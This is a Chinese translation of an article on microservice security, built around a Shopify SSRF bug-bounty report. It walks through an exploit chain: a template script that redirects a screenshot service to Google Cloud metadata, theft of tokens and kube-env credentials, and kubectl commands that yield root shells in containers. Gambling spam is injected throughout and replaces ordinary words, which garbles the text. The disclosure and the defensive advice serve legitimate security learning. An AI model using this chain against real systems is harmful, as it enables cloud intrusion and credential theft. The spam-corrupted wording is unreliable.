|
|
51CTO旗下网站
|
|
移动端

通过Shopify平台案例探究微服务安全

本文将和您讨论微服务安全的重要性,并以Shopify为例探究防范入侵的各种最佳实践。

作者:陈峻编译来源:51CTO.com|2018-11-05 08:00

【51CTO.com快译】对于一些大型服务架构而言,微服务的安全性在它们所面临的诸多攻击因素中显得尤为重要。本文将和您讨论如何在生产环境中防范各种入侵,以保障整体安全。同时,我将介绍一些实用的方法,以应对通用的微服务安全问题。您可以通过采用这些技术和方法,来轻松地加固各类微服务2018最新博彩白菜大全。

另外,我将模拟从公有云服务器实例的单入口,入侵Shopify(译者注:加拿大电商软件平台)的微服务实例,并访问到其元数据为例,来探讨微服务部署和开发过程中的最佳实践。

微服务安全

概述

让我们首先来浏览一下微服务的架构特点,和它被用来进行2018最新博彩白菜大全开发的过程中,所面对的一系列安全问题。

微服务的一般特性

  • 解耦的组件
  • 增加的复杂性
  • 固定的架构
  • 更短的开发周期
  • 最小化依赖项和共同关注点
  • 小而集中
  • 相关服务之间的数据约定
  • 对某个特定技术栈的依赖
  • 良好的集成测试,减少了安全漏洞

由于开发人员对于AppSec(2018最新博彩白菜大全安全)的意识较为薄弱,甚至是对于通用2018最新博彩白菜大全安全规范的无视,他们可能会从如下方面增加微服务安全的复杂度与挑战:

  • 分段和隔离
  • 多云环境的部署,增加了资产安全的管理成本
  • 身份管理和访问控制
  • 数据与消息的完整性
  • 频繁的变更与淘汰周期

上述与微服务架构相关的因素,都会导致其整体潜在攻击面的扩大增加。而随着服务和资产数量的增加,其风险因素也会大为增多。因此,我们有必要通过定期的代码审查和安全审计,来解决上述提到的各种开发与部署过程中的问题。

微服务的AppSec

许多公司对AppSec(2018最新博彩白菜大全安全)都缺乏重视,他们仅仅依靠一些自动化的漏洞扫描工具,和被动式的威胁建模,来检查各种安全配置上的错误,并测试其基于微服务2018最新博彩白菜大全的安全态势。显然,这些都无法有效地应对真实环境中的复杂入侵与威胁。

因此开发人员稍有不慎,就可能给2018最新博彩白菜大全在整体层面上留下可以被利用和入侵的各种安全漏洞。这正是为什么我们需要不断地修正自己的开发方式,进而在组织内部通过采用AppSec的最佳实践,以保证微服务安全态势的原因。

我们应当将下列技术与实践,严格地贯彻到微服务的开发和部署之中,以确保交付产品的安全可靠,且符合业界规定的各种安全实践标准。

持续安全

人们经常不得不为自己所忽视的安全而“买单”。因此,持续安全的目标就是要通过定期测试微服务2018最新博彩白菜大全的安全性,来降低整体成本与开销。而实现持续安全的最好方法便是DevSecOps,它包括了持续的安全测试,和精细的内、外部审计。我们需要通过模拟从不同攻击者的角度,来分析微服务可能会受到哪些方面的入侵,定位其自身可能存在的漏洞,从而将各种问题防范于未然。

方法

  • 内部测试(主要是漏洞被利用之后的阶段)
  • 外部测试

下面,我们针对上述方法,来讨论持续安全的具体“落地”。

案例探究(Shopify)

“据@0xacb的报告:虽然Shopify基础架构已被隔离成了多个子集,但是通过Shopify交易平台上的截屏功能,攻击者可能利用服务器端请求伪造(request forgery)的bug,来获得对于某个子集内任何容器的root访问权限。在接报的一小时后,我们停止了存在漏洞的服务,并审核了所有子集中的2018最新博彩白菜大全,进而对整体基础架构实施了应急补救。存在该漏洞的子集并不包括Shopify的核心。在审核了所有的服务之后,我们通过部署元数据隐藏代理(metadata concealment proxy)的方式,禁用了对于元数据信息的访问,进而修复了该bug。另外在架构内所有子集中,我们也禁用了通过内部IP地址的直接访问。鉴于该子集内的一些2018最新博彩白菜大全确实有可能会访问到Shopify的核心数据和系统,我们特为此核心远程代码执行漏洞(Core RCE),设置$25000奖金。”

以上便是Shopify在Hackerone(译者注:全球最大的漏洞众测平台)中发布的,其针对该事件的奖赏计划。

根据该报告,我们能够得出这样的结论:即使是2018最新博彩白菜大全端的漏洞,也会导致服务器受到入侵的威胁。撇开此类攻击的复杂性不谈,该漏洞还是非常容易被利用的。通常情况下,攻击者会利用一个非常简单的SSRF(Server-Side Request Forgery,服务器端请求伪造)来攻击该漏洞,从而访问到主实例(master instance)的元数据,然后进一步获取那些运行在谷歌云平台上,其他存在同类漏洞的实例的room访问权限。

Shopify的“入侵链”

下面让我们来探讨一下攻击者将如何通过该漏洞,来获取所有Shopify实例的root访问权限。

注:由于源自真实的环境,所以我们在此用████隐去了一些敏感信息。

1. 访问谷歌云的元数据

  • 新建一个店铺(partners.shopify.com)。
  • 编辑模板:password.liquid,并添加如下内容:
    1. <script> 
    2. window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"
    3. // iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header. 
    4. </script> 
  • 访问https://exchange.shopify.com/create-a-listing,并安装Exchange2018最新博彩白菜大全。
  • 等待该店铺的截图在创建列表页面上出现。
  • 下载其PNG文件,使用图像编辑软件打开它,或将其转换为JPEG(Chrome浏览器会显示一个黑色PNG)。

虽然查找谷歌云实例中的各个SSRF需要用到一种特殊的包头,但是我发现可以采用一个非常简单的方法来“绕过”它:由于/v1beta1端点仍然可用,就算不需要Metadata-Flavor: Google的包头,仍然可返回相同的token(令牌)。

我曾试图截获更多的数据,但是网络截图软件无法根据application/text的响应,产生任何图像。不过我发现:可以通过添加参数alt=json,以强制让application/json做出响应。因此我设法截获了更多的数据,包括:SSH公共密钥(带有电子邮件地址)、项目名称(█████)、和实例名称等:

  1. <script> 
  2. window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json"
  3. </script> 

那么我可以使用截获的token来添加自己的SSH密钥吗?答案是:不可以。

  1. curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}' 
  1.  "error": { 
  2.   "errors": [ 
  3.    { 
  4.     "domain": "global", 
  5.     "reason": "forbidden", 
  6.     "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'" 
  7.    }, 
  8.    { 
  9.     "domain": "global", 
  10.     "reason": "forbidden", 
  11.     "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'" 
  12.    } 
  13.   ], 
  14.   "code": 403, 
  15.   "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'" 
  16.  } 

我全面检查了该token,它并没有对Compute Engine API(译者注:一种谷歌的API)进行读与写的访问。

  1. curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████" 
  1.  "issued_to": "███████", 
  2.  "audience": "███", 
  3.  "scope": "https://www.googleapis.com/auth/cloud-platform", 
  4.  "expires_in": 1307, 
  5.  "access_type": "offline" 

2. 转存kube-env

我创建了一个新的店铺

(http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json),并递归地“拉取出”该实例的各项属性。

由于元数据隐藏

(https://hackerone.com/redirect?signature=800d1491927edd8ed19a6b370a10349a205df89f&url=https%3A%2F%2Fcloud.google.com%2Fkubernetes-engine%2Fdocs%2Fhow-to%2Fmetadata-concealment)未被开启,因为我能够获取到kube-env属性。

另外,由于图像已被损坏,因此我针对

http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json创建了一个新的请求,以查看Kubelet证书的剩余部分,及其私钥。

ca.crt(译者注:ca证书文件)

  1. -----BEGIN CERTIFICATE----- 
  2. ██████ 
  3. ███████ 
  4. ███████ 
  5. ████████ 
  6. ██████████████ 
  7. ████████ 
  8. ████████ 
  9. ███████ 
  10. ████ 
  11. ██████ 
  12. ███ 
  13. █████████ 
  14. ████ 
  15. ████ 
  16. ████████ 
  17. ███████ 
  18. ███ 
  19. -----END CERTIFICATE----- 

client.crt(译者注:client端证书文件)

  1. -----BEGIN CERTIFICATE----- 
  2. █████ 
  3. ███████ 
  4. ██████ 
  5. ████████ 
  6. ██████████ 
  7. █████ 
  8. ██████ 
  9. █████ 
  10. █████ 
  11. ██████████ 
  12. ███████ 
  13. █████ 
  14. ████ 
  15. ████ 
  16. ████████ 
  17. ████████ 
  18. -----END CERTIFICATE----- 

client.pem(译者注:采用Base64 编码的client端文件,存储证书+密钥)

  1. -----BEGIN RSA PRIVATE KEY----- 
  2. █████████ 
  3. ██████ 
  4. ████████ 
  5. ████ 
  6. ████ 
  7. █████████ 
  8. ██████████ 
  9. ██████ 
  10. ████████ 
  11. █████████ 
  12. ██████ 
  13. ██████████ 
  14. ███ 
  15. ██████████ 
  16. ███ 
  17. ██████ 
  18. █████████ 
  19. ████████ 
  20. ██████████ 
  21. █████████ 
  22. ████ 
  23. ████ 
  24. ████████ 
  25. ████ 
  26. ███████ 
  27. -----END RSA PRIVATE KEY----- 

至此,我得到了MASTER_NAME:█████

3. 使用Kubelet执行任意命令

在此,我们可以列出所有的pods:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces 
  2. NAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE 
  3. ████████                    ██████████                    1/1 

也可以创建新的pods:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml 
  2. pod "shell-demo" created 
  3. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo 
  4. pod "shell-demo" deleted 

由于我无法确定自己是否能以用户████████的身份,去删除其正在运行的pods。因此,我无法在这个新的pod或其他pod中执行任何命令:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash 
  2. Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███" 

虽然get secrets命令没有起到效果,但是它能够根据给定的pod,运用其名称来获取密钥。我正好运用实例名████,从名称空间████中,截获到了kubernetes.io服务帐号的token:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████ 
  2. Name:           ████████ 
  3. Namespace:      ██████ 
  4. Node:           ██████████ 
  5. Start Time:     Fri, 23 Mar 2018 13:53:13 +0000 
  6. Labels:         █████ 
  7.                 ████ 
  8.                 █████ 
  9. Annotations:    <none> 
  10. Status:         Running 
  11. IP:             █████████ 
  12. Controlled By:  █████ 
  13. Containers: 
  14.   default-http-backend: 
  15.     Container ID:   docker://███ 
  16.     Image:          ██████ 
  17.     Image ID:       docker-pullable://█████ 
  18.     Port:           ████/TCP 
  19.     Host Port:      0/TCP 
  20.     State:          Running 
  21.       Started:      Sun, 22 Apr 2018 03:23:09 +0000 
  22.     Last State:     Terminated 
  23.       Reason:       Error 
  24.       Exit Code:    2 
  25.       Started:      Fri, 20 Apr 2018 23:39:21 +0000 
  26.       Finished:     Sun, 22 Apr 2018 03:23:07 +0000 
  27.     Ready:          True 
  28.     Restart Count:  180 
  29.     Limits: 
  30.       cpu:     10m 
  31.       memory:  20Mi 
  32.     Requests: 
  33.       cpu:        10m 
  34.       memory:     20Mi 
  35.     Liveness:     http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3 
  36.     Environment:  <none> 
  37.     Mounts: 
  38.       ██████ 
  39. Conditions: 
  40.   Type           Status 
  41.   Initialized    True 
  42.   Ready          True 
  43.   PodScheduled   True 
  44. Volumes: 
  45.  ██████████: 
  46.     Type:        Secret (a volume populated by a Secret) 
  47.     SecretName: ███████ 
  48.     Optional:    false 
  49. QoS Class:       Guaranteed 
  50. Node-Selectors:  <none> 
  51. Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s 
  52.                  node.kubernetes.io/unreachable:NoExecute for 300s 
  53. Events:          <none> 
  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml 
  2. apiVersion: v1 
  3. data: 
  4.   ca.crt: ██████████ 
  5.   namespace: ████ 
  6.   token: ██████████== 
  7. kind: Secret 
  8. metadata: 
  9.   annotations: 
  10.     kubernetes.io/service-account.name: default 
  11.     kubernetes.io/service-account.uid: ████ 
  12.   creationTimestamp: 2017-01-23T16:08:19Z 
  13.   name:█████ 
  14.   namespace: ██████████ 
  15.   resourceVersion: "115481155" 
  16.   selfLink: /api/v1/namespaces/████████/secrets/████ 
  17.   uid: █████████ 
  18. type: kubernetes.io/service-account-token 

最后如下所示,我就能使用该token从任意容器中获取shell了。

  1. $ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash 
  2. Defaulting container name to web. 
  3. Use 'kubectl describe pod/w█████████' to see all of the containers in this pod. 
  4. ███████:/# id 
  5. uid=0(root) gid=0(root) groups=0(root) 
  6. █████:/# ls 
  7. app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var 
  8. bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr 
  9. ███████:/# exit 
  10.  
  11. $ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash 
  12. Defaulting container name to web. 
  13. Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod. 
  14. root@████:/# id 
  15. uid=0(root) gid=0(root) groups=0(root) 
  16. root@████:/# ls 
  17. app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var 
  18. bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr 
  19. root@█████:/# exit 

影响程度:严重

ag试玩平台们可以根据相关的上下文信息,采用服务器端请求伪造(SSRF)来入侵上述漏洞。同时,他们会给目标系统带来如下影响:

  • 绕过网络访问控制,能够截获内部服务吗?
  • 是的。
  • 什么样的内部服务能被访问?
  • 谷歌云的元数据。
  • 带来何种安全影响?
  • RCE(远程代码执行)。

保障微服务安全的最佳实践

通过上述Shopify案例,我们可以学到:

(1) 用户身份管理、授权和访问控制。我们的首要任务应该是:设置适当的访问控制和用户权限。其中,我们可以使用OAuth2来进行用户授权的管控。您可按需使用访问控制,来对不同类型的用户组进行访问级别和权限范围的设置。例如:您可以采用诸如JWT(基于认证的JSON Web Token)、JJWT(Java JWT,请参考https://github.com/jwtk/jjwt)等第三方的服务架构来实现认证,使用SSO来处理授权问题。另外,您也可以参照SAML和LDAP进行身份验证。

(2) 根据TOTP(time-based one-time password,基于时间的一次性密码)启用2FA(two-factor authentication,双因素认证)。这是另一种很好的方法。它能够像第二道防线那样,去弥补JWT自身的各种漏洞,以及处理验证过程中的疏漏。其代表方式是实施GoogleAuth库(请参考https://github.com/wstrange/GoogleAuth)。

(3) 不要以明文或纯文本的形式存储敏感数据。请选用libsodium服务(https://github.com/jedisct1/libsodium),对数据进行加、解密。此外,千万不要采用某种尚处于测试阶段的加密算法,因为它们往往可能捆绑了某些框架,或潜在着各种未知的漏洞。

(4) 使用API网关隔离各种资源。您可以使用各种第三方的API网关来达到此效果。

(5) 分离各种API和内部组件,以减少暴露的被攻击面。

(6) 为了基于REST-API安全,请持续关注每年底更新的OWASP Top 10,并做好自身的漏洞彻审。如前文所述的SSRF,如果我们处置不当,将会带来RCE的隐患。此法有助于发现一些常见的Web2018最新博彩白菜大全漏洞。

(7) 如果部署并使用云平台,请为帐号和实例配置访问控制。通常情况下,服务器实例的元数据是开放性的;而隶属于特定微服务的AWS object buckets(对象存储空间)也同样是开放性的。因此我们要通过ACL,来防范它们在最坏情况下被公布于世。正如上述Shopify案例那样,攻击者通过利用漏洞,获取root访问权限,来进一步截获与服务器实例有关的敏感元数据。

(8) 对通用序列化(Common serialization)与反序列化(deserialization),基于SQLi漏洞的防范。我们特别要注意那些不安全的反序列化,它们可能会导致包括RCE在内的许多严重漏洞。因此,我们需要及时通过热补丁程序(hotfix)来对用户的输入实施审查和“消毒”。例如:Kryo(译者注:一种快速高效的Java对象图形序列化架构)就存在着尚未修复的反序列化漏洞,请参见:https://github.com/EsotericSoftware/kryo/issues/398。

  • Ø Spark SQL
  • Ø Kafka + Spark Serialization

(9) 认证,我们可以采用如下的身份验证APIs(各种架构和服务):

  • 使用Cognito + AWS API网关来处理繁琐的认证:Cognito使用证书、MFA等来处理认证问题;API网关检查访问的token、JWT、以及授权。
  • 在各个服务之间,采用基于角色的限制。
  • 通过要求对每个请求进行签名,以增加额外的认证保护层。
  • 将Lambda的各个函数整合到hook进程之前和之后:您可以使用各种Swagger文件;也可以参考https://github.com/iheartradio/play-swagger,来为自己的架构轻松产生各种Swagger文件。

(10) 切勿将敏感键值或信息存放到环境变量之中。这些信息可能会在某些情况下暴露在2018最新博彩白菜大全程序的日志中,或是被其他服务无意中访问到,从而带来安全隐患。

原文标题:How to Secure Your Microservices — Shopify Case Study,作者:Arif Khan

【51CTO译稿,合作站点转载请注明原文译者和出处为51CTO.com】

【编辑推荐】

  1. 新的BLEEDINGBIT漏洞影响广泛使用的蓝牙芯片
  2. DDos攻击解析
  3. 微隔离可减少网络攻击面
  4. 揭秘两个新发现的供应链攻击
  5. Safari信息泄露漏洞分析
【责任编辑:赵宁宁 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

网管员必读—网络基础

本书共分两篇,15章。其中前6章为网络理论基础篇,介绍的是基本的网络技术,包括计算机网络分类、网络通信协议、IP地址和网线制作等。在第...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊
博聚网